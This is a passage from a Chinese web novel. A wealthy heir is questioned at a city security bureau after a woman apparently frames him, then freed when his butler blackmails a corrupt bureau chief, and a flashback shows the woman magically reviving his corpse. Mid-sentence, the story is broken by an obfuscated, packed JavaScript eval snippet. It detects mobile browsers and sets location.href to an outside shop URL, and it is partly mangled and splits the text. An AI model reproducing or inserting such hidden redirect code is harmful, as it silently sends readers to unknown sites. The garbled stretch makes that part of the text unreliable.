说着,年轻的安保员面色有些鄙夷,瞥向他的视线带了点嫌弃。 年纪轻轻的一个帅哥,衣冠楚楚的,背地里玩得这样花。 他刚才听同事说了,这人追着人家姑娘,一路尾随,从酒店外面跟到房间,破门而入,又把人摁在床上,甚至还绑上了绳索。 要不是他们去得及时,后果不堪设想。 年轻安保员眼色凉凉,懒得给他眼神,转过身去。 江酌眉头紧皱,他那是什么表情? 分明是那女人陷害他!!! 他就说在最后关头,她怎么突然不动弹了,原来在这等着呢。 江酌冷笑一声,骨节捏的咯吱作响。 警车在夜色里穿行,穿过几条老街,拐进一条相对宽阔的马路。不远处,一栋大楼亮着灯,「城市安保大队」留个大字在夜空下显得庄严亮眼。 申海市范围大,贫富差距也大,几乎每天都有恶性事件发生,除了公安局,还有其他专门管理专项内容的机构,其中扫黄之类的就是归城市安保大队管。 警车停在门口,江酌被带下车。 微凉的夜风吹过来,他站在安保局门口,抬头看了看那栋楼,冷笑了声。 这个“礼物”,真是出乎意料。 司小姐,我都记着。 ...... 安保局里灯火通明。 值班的安保员们来来往往,做什么的都有,看到新进来的人,抬头看了一眼,然后继续低下头去忙自己的。 江酌被带到一间审讯室里。 屋子不大,一张桌子,几把椅子,墙上挂着一面大镜子。那是单向玻璃,另一面有人能看见他,他看不见那边。 安保员把他按在椅子上,将手套在桌子的手铐里,然后退了出去。 门关上,屋里只剩下他一个人。 江酌靠在椅背上,打量了一圈这间屋子。这是标准的审讯室,先前他也进过几次,都是以知晓他身份之后,无比恭敬将他请送回家结尾。 权利真是个好东西。 他懒洋洋活动了一下手腕,被手铐勒过的地方有点红。 等了一会儿,门开了。 一个审讯员走进来,身后还跟着一个白色的身影。江酌拧着眉盯着司凝玉,见她走进之后便坐在角落的椅子上,抬眸看过来,视线交汇,江酌明显看到了她眼里的嘲讽。 什么意思!? 还在这演什么呢!! 审讯员手里拿着个文件夹,在他对面坐下,这人面相很年轻,表情却很严肃。 审讯员放好物品,回头瞥了眼司凝玉,只见她垂着眼,睫毛低低地覆着,整个人看起来就像是一个受了惊吓无助的年轻女孩。 江酌靠在椅背上,眼睛里几乎要喷出火来,恨不得在她身上瞪出一个窟窿。 不是,这女人变脸这么快!!?? “姑娘,你别怕。”审讯员的声音轻柔,生怕吓到她,“这里是安保局,没人敢把你怎么样,我们会依法处理不法分子的。” 司凝玉抬起头,看了审讯员一眼。 审讯员呼吸一滞,只觉得心跳都快了半拍,立刻扭头看向江酌,眼神立刻变得凌厉,从头到脚把他打量了一遍。 西装革履,浑身的酒肉贵气,一看就是有钱人家的少爷。 审讯员的目光里多了一丝鄙夷,这种人他见多了,仗着有几个臭钱,不把别人当人看。 他清了清嗓子,拿起笔,看向江酌:“姓名。” 江酌略过审讯员去看司凝玉,只见那女人脸色又变了,一脸看好戏的样子,那还有半分受委屈的模样。 他简直是要被气笑了! “我问你姓名!”审讯员敲了敲桌子。 江酌视线回到满脸愤懑的审讯员身上,“江酌。” 审讯员笔尖一顿,他隐约觉得这个名字在哪听过。 “年龄。” “二十五。” “职业。” “无业。” 审讯员抬起头。 江酌表情很欠揍:“我没工作,专职啃老。” 审讯员面无表情低下头,继续在文件上记录,“今晚在春风酒店308房间,你做了什么?” 江酌的目光又落向司凝玉,只见她翘着恶劣的二郎腿,一脸好看戏的样子。 他做什么? 他被这女人绑起来泼了一脸水,又被她一拳打在胸口差点背过气去,好不容易扳回一局,又被她陷害进了局子。 审讯员见他久久不说话,拧着眉提醒,“这是审讯室,将你做了什么说出来,还能从轻发落。” 江酌面无表情道,“我在被人追杀。” “追杀?”审讯员表情凝固,“谁追杀你?” 他指了指司凝玉。 审讯员顺着他的指向回过头,只见女孩一袭白裙,眉眼精致纯良,一看就是个遵纪守法的好公民。 审讯员看着司凝玉的模样,心都软了半截,他皱紧眉头转过头,“人家一个娇滴滴的女子怎么追杀你,我看倒像是你色胆边生,从酒店外一直尾随到房内,要不是我们的人去的早,接下来会发生什么,你最清楚不过。” “你衣冠楚楚的,为何还要做这种事!?” 江酌深吸一口气,但这件事从任何一个角度看,都像是他在胁迫她,那女人还惯是擅长变脸演戏,更是要把他耍流氓的罪名坐实了。 审讯员见他脸色冷冷,又重新问了遍,“最后问你一次,都做了什么,为什么要跟踪她。” 江酌:“我前几天被人绑架到深山老林里,醒来后她就在现场,肯定与绑架有关,我就想去问问她那天到底发生了什么。” 审讯员有些好笑,顺着他的话往下说,“哦,你的意思是,这个手无缚鸡之力的女人袭击了你,以极其复杂的手段避过所有摄像头,众目睽睽之下将你一个大男人绑架了?” 江酌皱眉。 审讯员一边记着笔录一边问:“中间的曲折暂且不说,然后你又在申海内看到了她,一路尾随,乔装打扮,手持武器闯入房中,将人摁在床上,就只是为了问清楚当天的情况?” “是这样吗?” 审讯员的语气很是鄙夷,看向他,“这借口不太行,我建议你换一个。” 江酌深吸一口气,强忍怒意,破罐子破摔道:“你们和我的管家通话了吗,他什么时候到?” 审讯员冷冷:“这是司法场合,别说是你的管家,就算是局长来了案子也是照常办。” 江酌的耐心已经磨到了极限,咬牙:“行,那就打电话给你局长,让他来一趟。” 审讯员就没见过这么猖狂的人,一拍桌子正想要说几句,审讯室的电话正巧响了。 他狐疑接起电话,“喂?局长,还真是您,嗯,我现在正在审……” 也不知电话那头劈头盖脸说了什么,审讯员手中的笔直愣愣掉在地上,不可置信地看向江酌,如同见了鬼一般。 …… 与此同时,江家别墅。 江天威坐在书房里,脸色阴沉得像要滴出水来。 江管家站在旁边,大气都不敢喘。 “你说什么?”江天威转过身看着管家,“那小子又进局子了?” 管家硬着头皮点头:“是的,老爷,刚才城市安保局打来电话,说少爷他……” “他什么?” 管家一闭眼,说了出来:“涉嫌沾染黄赌毒,被抓了。” 江天威一巴掌拍在桌子上,把茶杯震得跳了起来。 “混账东西!” 老管家连忙低下头。 江天威站起来,在书房里来回踱步,脸色铁青。 “今晚的宴会那小子露了个面就逃了,我派人找了他一晚上,还以为出了什么事,结果他倒好,被抓进局子了?!” 管家小心翼翼劝道:“老爷,少爷他可能是有误会……” “误会?”江天威冷笑一声,“他这人我还不清楚,能有什么误会?” 他走回书桌前,一屁股坐下,脸色很是难看。 “不管他,”江天威摆摆手,“让他死在里面算了,省得天天给我惹祸。” 管家犹豫,“老爷,少爷他……毕竟是您唯一的儿子,这大晚上的,局子里多冷啊,少爷从小到大哪受过这种罪。” 江天威一甩袖子,没说话。 管家继续道:“再说了,这事儿到底是什么情况还不清楚,少爷虽然爱玩,但一直都有原则,绝对不会碰那些东西,您又不是不知道,说不定真是误会。” 江天威还是没说话,阴沉的面色却没那么难看了。 老管家往前走两步,“老爷,要不我先去局里看看情况?要是没什么,也好早点把少爷接回来。要是真有什么,就让他多待一会儿,长长记性也好。” 江天威烦躁地拿起茶杯开始喝,一想到他那些老朋友,一个个的都准备退居二线,将家族产业交给满意的子女打理了,自家却只有这么个逆子。 心中更觉烦躁,“去什么去?让他待着。” 管家应了一声,没动。 一盏茶毕,江天威只觉得满心窝火无处可发。 看了老管家一眼,无奈摆摆手道:“算了,快去把那逆子带回来。” 老管家低下头,嘴角微抽,“是,老爷,我这就去。” ...... 城市安保大队门口,一辆黑色的宾利稳稳停下。 江管家从车上下来,理了理身上的西装,抬脚往里走。 步子不快不慢,背脊挺得笔直,脸上带着世家大族管家特有的从容。 值班的安保员看见他,愣了一下,刚要开口问,就被他身后跟着的两个保镖给震住了。 俩保镖穿着黑色西装,面无表情,往那一站,铁杵似的,看着像是要来砸场子。 秉着这是安保局,一切都得公事公办的原则,其中一人迎了上去,“您好,请问您有什么事?” 江管家微微点头,语气客气但不容置疑:“我找你们局长。” 安保员愣了一下:“局长?局长已经下班了……” 江管家看了他一眼,没说话。 只是那一眼,就让安保员心里发毛,他正想说点什么,忽然听见身后传来一阵急促的脚步声。 回头一看,一个穿着便装的中年男人匆匆跑进来,脸上带着笑,笑容殷勤得像是见了亲爹。 “哎呀,江管家!您怎么亲自来了?” 江管家看着来人,点了点头:“周局长,这么晚了还麻烦您,真是不好意思。” “不麻烦不麻烦!”周局长连忙摆手,“江管家您这话说的,您能来,那是我们局的荣幸!快请进快请进!” 他一边说,一边把江管家往里面迎,路过那个小安保员的时候,狠狠瞪了他一眼。 安保员缩了缩脖子,大气都不敢喘。 心想这又是哪一路的权贵,让周局长都这样忌惮。 江管家跟着周局长往里走,两个保镖牛高马大地跟在他左右。 他语气淡淡的:“周局长,我们少爷今晚在你们这儿,不知道是什么情况?” 周局长脸上的笑僵了僵。 他当然知道是什么情况,刚回到家就接到了那些不长眼的手下的消息,说扫黄打非抓到几个人,这会儿还在审讯室里蹲着。 他原本不想理,可还是点开被抓几人的资料看了眼,看到“江酌”二字,只觉得晴天霹雳,立马捡起衣服急匆匆往外走。 着急忙慌给审讯室打了个电话,听到那位大少爷好端端的之后,松了口气,让人立马将那尊大佛给请出去。 前脚刚赶到警察局,果不然江家已经来人了。 但这些话他不敢说。 江家是什么人家?申海顶尖的财阀,跺跺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482278|201816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚整个城市都要抖三抖,他们家少爷要是真有什么“黄赌毒”的案底,传出去还得了,他这局长的帽子还要不要了? 周局长咳嗽了一声,试探着说:“这个……可能是有点误会,具体情况还在核实,还在核实……” 江管家淡淡的瞥了他一眼,却让周局长后背一凉。 他语气依旧客气,“我们少爷从小家教很严,从来不干那种下作事,今晚的事,肯定是误会,您说是不是?” 周局长连忙点头,点头如捣蒜:“是是是,肯定是误会!” 江管家点点头:“那就麻烦周局长,让我们少爷出来吧,这么晚了,老爷还在家里等着。” 周局长脸上的笑更殷勤了:“好好好,我这就去安排!” 他转身要走,江管家又叫住他,“周局长。” 周局长战战兢兢回头。 江管家嘴角勾起一个微微的笑意,“您在安保局这些年,收了不少好处吧,背地里帮着黑|帮洗钱的事,咱们江氏也收到了些风声。” 周局长的脸色“唰”地白了。 江管家:“这样,这种事说出去总归是不好听的,说不定还要连累一堆人掉脑袋,我们江家仁慈,也懒得管这些破事,不过……” “我们少爷要是少了一根头发,你看着办。” 周局长脸上的笑差点挂不住,连连摆手:“不会不会!江管家您放心,我们一定会将少爷完完整整地送回家去。” 他转身就跑,动作快得像被狗撵。 江管家站在原地,理了理袖子,脸上什么表情都没有。 ...... 审讯室的大门被推开,周局长冲进来,脸上带着比哭还难看的笑。 “江少!江少!误会!都是误会!” 江酌看着他,挑了挑眉。 周局长亲自上前给他解开手铐,90度鞠躬,“都怪下面的人不长眼,把您给弄进来了!我已经狠狠批评他们了!您千万别介意。” 江酌活动了下手腕,慢悠悠地站起来,“周局长,您这态度变得够快的。” 周局长脸上的笑僵了一瞬,然后又堆起来:“哪里哪里,江少您说笑了,我们安保局本来就是为人民服务的,有误会就要及时纠正嘛!” 江酌懒得跟他废话,瞥了眼站在一边的审讯员和司凝玉。 司凝玉的神色有些意外,很快就恢复了平静。 审讯员一脸被雷劈了一样的表情,目瞪口呆看着平日里威严的局长这样低头哈腰地对一个年轻人说话。 局长在他心中的形象一下子就崩塌了。 江酌觉得好笑,转身对审讯员道,“这样吧,我大人不计小人过,给你指条明路,去公安局,找一个叫陈挚的,去他手底下做事,就说是我推荐的。” 审讯员涨红了脖子,“你……你什么意思!我可不怕你,你不要仗势欺人!” 周局长吓得差点要扑上来捂住他的嘴,他背地里干的那些事每一样单独拎出来都能要了他的命,江家家大业大,平日也不管下面这些鸡零狗碎,现在得罪了江酌,要是放出风声,他小命不保啊! 江酌瞥了眼周局长的动作,只对审讯员继续道:“你去就是了。” 他随后又看了眼司凝玉,轻佻抬了抬下巴,“司小姐,今晚还有兴趣去我那吗。” 此话一出,在场的人都屏住呼吸,周局长一双眼连连在两人之间回转。 什么情况,抓进来这人还是江少的心上人?那他们把人抓进来,这误会可大了!听说这帮不长眼睛的冲进去的时候,俩人已经在床上…… 这不就是坏了人的好事吗! 周局长绝望闭上眼睛。 司凝玉没理会旁人诧异的目光,偏过头看江酌,依旧没说话,眼神中满是疑惑和冷漠。 江酌摊摊手,“那真是太遗憾了,期待下次见面。” “别忘了,云顶天宫。” 司凝玉冷嗤一声,忽地一笑,“不见不散。” 两人走出城市安保大队的大楼,江管家早已经等候在商务车旁,看到江酌完完好好地走出来,不过……怎么感觉像是被淋了一身水? “江叔,我没事。”江酌很自然地说。 他扭头看司凝玉,“司小姐,需要我送你一程吗?” 司凝玉停下脚,“多谢,不用。” 江酌冷嗤,单手撑在车门边上,斜着睨她一眼,“这么记仇?我不过是把你按在床上而已,你就这么陷害我。” “你做的那些事,我可都没找你算账呢。” 说到这,感觉被打的那一掌又开始隐隐作痛。 司凝玉抬头向他看来,清冷的月光下,两个人的视线在空中碰撞,都从对方眼中看到了嘲讽。 “陷害你?我从头到尾什么都没说。” 她确实什么都没说,都是那群人自己查的监控,她不过是装了会可怜而已。 月色清冷,满满撒遍大地,司凝玉的脸在月光里显得有些虚幻,美得惊心动魄,像是上帝用最精细的笔触一笔一笔勾勒出来的。 在场的人都有一瞬的怔愣。 可美人看起来心情并不好,眼眸更冷,看向江酌,“别忘了你的承诺。” 承诺?就是去厕所找钥匙这事? 江酌微笑,“司小姐的事,我自然是放在心上的。” 江管家在一旁看着,表情略微动容,连带着看向司凝玉的目光都有些欣慰,他将心中的激动按了又按,直到上车之后才忍不住问道:“少爷,你和那位司小姐是……” 江酌懒洋洋将胳膊枕在后脑勺,“没什么,萍水相逢罢了。” 说完,脑海中控制不住地想起那女人勾唇微笑的脸,还有两人倒在床上,清晰地看见她眼中全是他的倒影,还有她颤动的眼睫。 江酌用力晃了晃脑袋,想什么呢,那女人果然是只千年老妖,害得自己都魔怔了。 江管家在一旁看他的表情,隐晦地提到:“这是哪家的小姐,少爷若是有意,可以邀请她来做客……” 江酌听着这话,浑身起了鸡皮疙瘩,“算了江叔,还没熟到那种程度。” 江管家是没见过那母夜叉的战斗力有多猛,要不是他会些拳脚,那母夜叉能一拳将人打到墙上,撕都撕不下来。 11. 第11章 救活 另一边,司凝玉已经上了在暗处等待的冰魄的车。 黑色商务车平稳地驶在回程的路上。 冰魄从后视镜看着江家的车远去,又瞥了一眼沉默的司凝玉,终于没忍住开口: “小姐,您今晚这是……?” 大晚上的,他正在睡梦中,突然冷不丁一个电话打过来,说司小姐被安保大队的抓进去了,原因还是被变态尾随。 冰魄听完只觉得是诈骗电话,什么人能尾随她啊!嫌命长吗? 正打算掐断的时候,那边就传来了司凝玉的声音,叫他,“冰魄,等会过来接我。” 冰魄这才叫上海蜇急匆匆出门,两人飙了一路车,连闯几个红灯,差点把油门踩进油箱里。 赶到安保局门口,见她好端端站在那,这才如释重负舒出一口气。 要是司小姐有个三长两短,三姓的那几个老头饶不了他们。 司凝玉靠在座椅上,声音凉凉的:“没事,有些累了,先回庄园吧。” 冰魄迅速调整方向,“是。” 他又偷瞄了一眼后视镜,司凝玉的脸在窗外飞速闪过的路灯下忽明忽暗,只能看见一个模糊的轮廓。 她闭着眼,睫毛在眼睑上投下一小片阴影,整个人和平时没什么两样,不过眉心有些微拧,看起来有些苍白。 *** 他们跟着这位司小姐,满打满算也快半年了。 最开始接到这个任务的时候,上头只说了一段话, “从今以后,你们只效忠于她,她让你们做什么,你们就就做什么,她要你们死,你们就得死。” 他和海蜇一开始很诧异,不过是个二十多岁的小姑娘,凭什么值得他们近身保护,还得随叫随到。 要知道他们是段家从小培养的死士,段家有多重视他们,他们心里也清楚。 段家这些年一直在培养死士,一批批的,从不停歇,对他们唯一的要求就是:誓死效忠司小姐。 至于这个司小姐,他们从没见过,只能被动地接受要效忠于一个没见过面的人的事实。 直到半年前,段鸿远领着他们恭敬地去向一个二十多岁的年轻女孩跪拜。 那是他第一次见司凝玉。 女孩站在那儿,表情懵懂,好奇地打量着周围的一切。 他控制不住好奇,慢慢抬头往上看,就对上了女孩探究的眸子,纯澈又幽深,令他心神一震。 当时他混在人群中,看着杜,段,柳三家的长老乌泱泱跪了一地,嘴里不停说着恭敬的话,那女孩却半分反应也没有,天生的薄凉。 最后他和海蜇同时被塞到了司凝玉身边。 司凝玉很好相处,对他们的去留无异议,需要的时候出现即可,平日里不会干预。 冰魄第一次对自己这么多年来被灌输的信念产生动摇,他为什么要为一个二十多岁的女孩卖命,段鸿远到底图什么? 这些疑问在他脑子里转了无数圈,直到那个下午。 他亲眼看见司凝玉捏出一个小猫形状的泥塑,放在手心轻吹了一口气,那只泥塑竟然凭空变成了一只真的黑猫。 又捏出两个泥人,那俩人也是凭空出现,活生生的,像两尊铁塔。 冰魄看着这一幕,浑身僵硬。 他隐约明白了段鸿远为什么要培养这么多死士,只为了保护司凝玉,也隐约能猜到申海赫赫有名的三大家族为何对她如此恭敬。 但他不敢多问,死士选取主人是一辈子的事,只要认定了,无论刀山火海都必须忠诚。 而闭紧嘴巴,是死士的第一要务。 冰魄发现,这位司小姐虽然看起来冷漠,骨子里很是纯良,性子甚至称得上是单纯,没什么事基本不会出门,就乐意和一院子的花花草草待在一起。 直到一星期前,她突然说‘钥匙’出现了。 至于那‘钥匙’是什么,冰魄也说不上来。他们找了许久,又是各处排查又是爬山,最终在深山老林里找到了气息的源头。 只不过那人已经死了。 ...... 车子继续往前开着。 窗外的夜色很深,路灯一盏盏往后退,拉出长长的光影。 冰魄靠在座椅上,脑子里却不由自主地想起几天前的那个夜晚。 那算是他们第一次见到申海那位有名的纨绔公子哥,江酌。 不,应该说,是第一次见到他的尸体。 深山老林里,夜黑得伸手不见五指,他们找了很久,最后在一处野狼出没的地方找到了他。 他躺在地上,满身是血,心口一个拇指大的血窟窿,早已经凉透了。 冰魄心里咯噔,死了? 那司小姐要找的东西怎么办。 司凝玉站在那具尸体面前,静静扫视一眼,蹲下身伸手按在男人心口的血窟窿处。 “你们退后。” 冰魄和海蜇对视一眼,退到十步开外。 同行的还有两尊司凝玉捏出来的泥人,名为黑大黑二,这俩只听从司凝玉的命令,也一起往后退,停在能够最快到达司凝玉身边的距离之内。 冰魄看着司凝玉跪坐在那具尸体旁边,头顶的云层翻涌,恰好有一束月光落在她身上,增添了无边的神性。 突然一阵阵微风从林里袭来,明明是在深山老林里,那风却像从春天的原野上吹过,带着青草和花香的气息与让人眷恋的暖意。 微风轻柔拂过冰魄的脸,他浑身起了鸡皮疙瘩,从头顶一直麻到脚底。 紧接着,无数绿色的光从树林深处飘出来,如萤火虫一般,密密麻麻。 成千上万点绿光从四面八方涌来,汇聚在司凝玉周围,在她身边旋转,像一条光的河流。 冰魄的瞳孔猛地收缩,他看见那些绿光落在男人尸体上,渗进心口的血窟窿里,男人的胸口开始发光,如同一盏被点亮的灯。 然后,更诡异的事情发生了。 周围死寂的树木开始晃动,如同有了生命一般,树枝疯狂伸长,树干变粗,枯黄的叶子以肉眼可见的速度变绿、变大。 地面上,野草疯狂地往上蹿,几秒钟就长到膝盖那么高,不知从哪里冒出来的野花一朵接一朵地绽开,五颜六色的,铺满了整片空地。 冰魄扭头看向海蜇,发现海蜇那张永远面瘫的脸上,此刻全是震惊。 任谁看到这违背自然常理的一幕都很难不震惊。 就在这时,一声清晰的心跳声传来。 冰魄不可思议,往尸体的方向去看,那个死了不知道多久的男人,胸膛开始随着心跳慢慢起伏。 绿色的光从心口漫出,像潮水一样涌向四肢百骸,苍白的皮肤开始恢复血色,僵死的肌肉开始变得柔软,变成健康的颜色。 司凝玉盘半跪在旁,闭着眼,脸色苍白无比。 绿光渐渐散去。 空气恢复沉默,疯狂生长的草木也停止了生长,静静地立在月光下,像什么都没发生过一样,只有地上一大片盛开的花证明刚才的一切不是幻觉。 司凝玉睁开眼。 冰魄和海蜇赶紧上前,“司小姐,您没事吧。” 司凝玉摇头,站起身来。 正巧此时江酌也睁开了眼,懵懂得还不知道发生了什么。 司凝玉看了他一眼,不耐烦地将人举起来, “东西,给我。” 冰魄看着这一幕,心里只有一个念头。 若她真是神仙,那也是个好神仙。 ...... 车窗外的呼啸 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冰魄站不敢有过多动作,司凝玉扶着车门站了好一会,才慢慢松开手,站得笔直。 漠然的脸没有多余表情,对着冰魄和海蜇道:“这两天发生的事不要告诉三姓的人,他们问起,之前怎么说的,现在就怎么说。” 冰魄点头,“我们明白。” 他们虽然是段家的人,但如今是为司凝玉做事,段家把他们送来的时候就说得很清楚,从今以后,他们的命只是司小姐的。 万事都必须要以司凝玉为主。 司凝玉没再多说,转身往庄园里走,门在身后关上。 走进屋内,司凝玉走到沙发前坐下,一股眩晕又涌上来,她靠在沙发背上,闭上眼深吸一口气。 小猫雕塑从口袋里掉出来,瞬间变成一只肥胖的黑猫。 “喵。” 一个毛茸茸的脑袋蹭到她手边。 司凝玉睁开眼,看见小黑正蹲在沙发扶手上,圆圆的眸子中全是担忧。 她伸出手摸了摸小黑的头,“我没事。” 小黑又叫了一声,跳上司凝玉的腿蜷成一团,毛茸茸的热量暖暖地贴着她。 司凝玉闭上眼,探了探自己的气息,“救活一个人,耗费的能量还是太大了。” 她带着传承醒来,满打满算也就半年时间,根基本就不稳,还没来得及好好稳固,就感应到了钥匙的气息。 于是连夜赶去九盘山,在深山老林里找了两天,最后找到的是一具尸体。 钥匙的气息在那具尸体上,为了找到钥匙,她决定救活他。 将积蓄了半年尚不稳固的能量用尽,终于把他从阎王殿拉了回来。 但这也是有代价的,能量不稳,身体随时可能突如其来地虚弱,这无疑是巨大的破绽。 接下来这几天她必须休息巩固能量。 她眯了会,想起江酌说的云顶天宫,这地方必须盯紧了,绝不能让那群人捷足先登。 司凝玉闭上眼感受了一番麻雀的位置,以及视线范围内看到的东西。 她给麻雀施了些法术,使它看到的范围更广更清晰,普通玻璃挡不住它的视线。 浴室里热气腾腾,那男人正在洗澡,似乎有要转身的动作,司凝玉立即切断了视线连接。 她靠在沙发上,呼出一口气。 看来这人类社会也不好混啊。 她忽然想起上一任“司小姐”临死前的样子。 那时候她还只是个沉睡的意识,但她能感知到一些隐隐约约的东西。能对上一任的“她”产生的情绪身临其境,感知她的思想,以及她死之前最后的念头。